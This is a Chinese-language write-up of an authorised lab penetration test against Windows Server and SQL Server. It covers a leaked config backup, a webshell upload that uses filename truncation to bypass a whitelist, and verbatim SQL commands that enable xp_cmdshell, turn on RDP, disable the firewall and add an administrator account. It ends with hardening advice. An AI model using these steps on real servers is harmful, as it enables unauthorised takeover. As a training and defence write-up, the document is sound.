Windows Server + SQL Server 内网靶场安全演练全流程 合规前置声明本文所有操作均在企业内部授权安全靶场完成仅用于网络安全学习、运维风险自查、红蓝对抗技术研究。 严禁在未获得书面授权的情况下对外部网站、服务器实施扫描、访问、渗透操作违规操作将违反《中华人民共和国网络安全法》《刑法》相关条例一切法律责任由操作者自行承担。实验流程1、端口扫描拿到一个ip站点先对其进行端口扫描找到有两个端口1433和409872、目录扫描通过nmap查看端口类型得知1433为SQLserver服务40987为http服务对网页进行目录扫描3、备份文件泄露访问URI/web.config.bak下载得到备份文件查看该文件得到数据库的账号密码4、登录SQLServer使用密码进行登录可以查到网站的管理员账号和密码5、文件上传使用管理员账号进行登录在文件上传界面进行尝试后发现后台使用白名单进行文件名过滤只能上传jpg文件。通过页面的注意事项构造一个长文件名并进行上传名为11shell3.aspx.jpg的webshell在管理界面可以看到因为长度限制文件名变为了639186142381868750-11shell3.aspx。6、报错信息泄露文件路径将文件的连接复制打开后是下载文件的。在路径后的文件名改为不存在的文件名使其报错报错信息中存在文件存放路径7、读历史备份文件使用蚁剑连接文件地址即为上述URL地址。连接后找到SQLserver的备份文件其中包含了sa的账号和密码sa账号是SQLserver中级别最高的账号拥有执行系统命令的权限8、开启 xp_cmdshellSQLServer执行操作系统命令需要SQL Server的组件xp_cmdshell该组件在SQL Server当中默认是不安装的输入以下命令查询xp_cmdshell是否被安装EXEC sp_configure xp_cmdshell;如果没安装则会报错The configuration option xp_cmdshell does not exist, or it may be an advanced option.此时可以使用以下命令进行安装EXEC sp_configure show advanced options,1;RECONFIGURE;EXEC sp_configure xp_cmdshell,1;RECONFIGURE9、开启RDP服务接着查询是否开启了RDP服务EXEC xp_cmdshell netstat -ano | findstr 3389若没开启使用以下命令开启EXEC xp_cmdshell wmic rdtoggle where servername%computername% call setallowtsconnections 110、关闭防火墙查询防火墙服务状态EXEC xp_cmdshell netsh firewall show opmode若没关闭使用以下命令关闭EXEC xp_cmdshell netsh firewall set opmode modedisable11、创建管理员用户创建一个用户并赋予其管理员权限EXEC xp_cmdshell net user h1ck0r Admin123 /addEXEC xp_cmdshell net localgroup administrators h1ck0r /add12、远程桌面登录使用RDP进行登录即拥有了管理员的权限可查看C盘下的文件演练风险总结与企业安全加固方案1. 本次靶场暴露的安全缺陷网站目录遗留.bak配置备份文件明文泄露数据库账号密码文件上传仅做简单后缀白名单校验未防护超长文件名截断漏洞生产环境开启.NET 调试模式错误页面输出完整堆栈泄露服务器物理路径业务配置文件留存 SA 超级账号明文数据库权限划分不规范SQL Server 未限制 SA 远程访问高危存储过程xp_cmdshell可随意启用服务器防火墙、远程桌面未做源 IP 访问限制存在横向接管风险。2. 生产环境标准化加固建议清理站点所有.bak/.sql/.txt备份文件禁止将开发配置文件部署至生产环境文件上传增加多层校验文件头部二进制校验、后端二次后缀校验、上传文件随机重命名存储、限制文件名最大长度线上环境关闭compilation debugtrue统一自定义错误页面屏蔽程序堆栈报错信息业务系统禁止使用 SA 账号连接数据库创建低权限业务专用账号密码采用不可逆加密存储SQL Server 非必要永久关闭xp_cmdshell、xp_regread等高危存储过程限制 SA 账号远程登录服务器防火墙限制 1433、3389 等高危端口仅放行内网可信 IP 段定期自动化扫描站点敏感备份文件、弱口令、未授权上传接口、高危开放端口。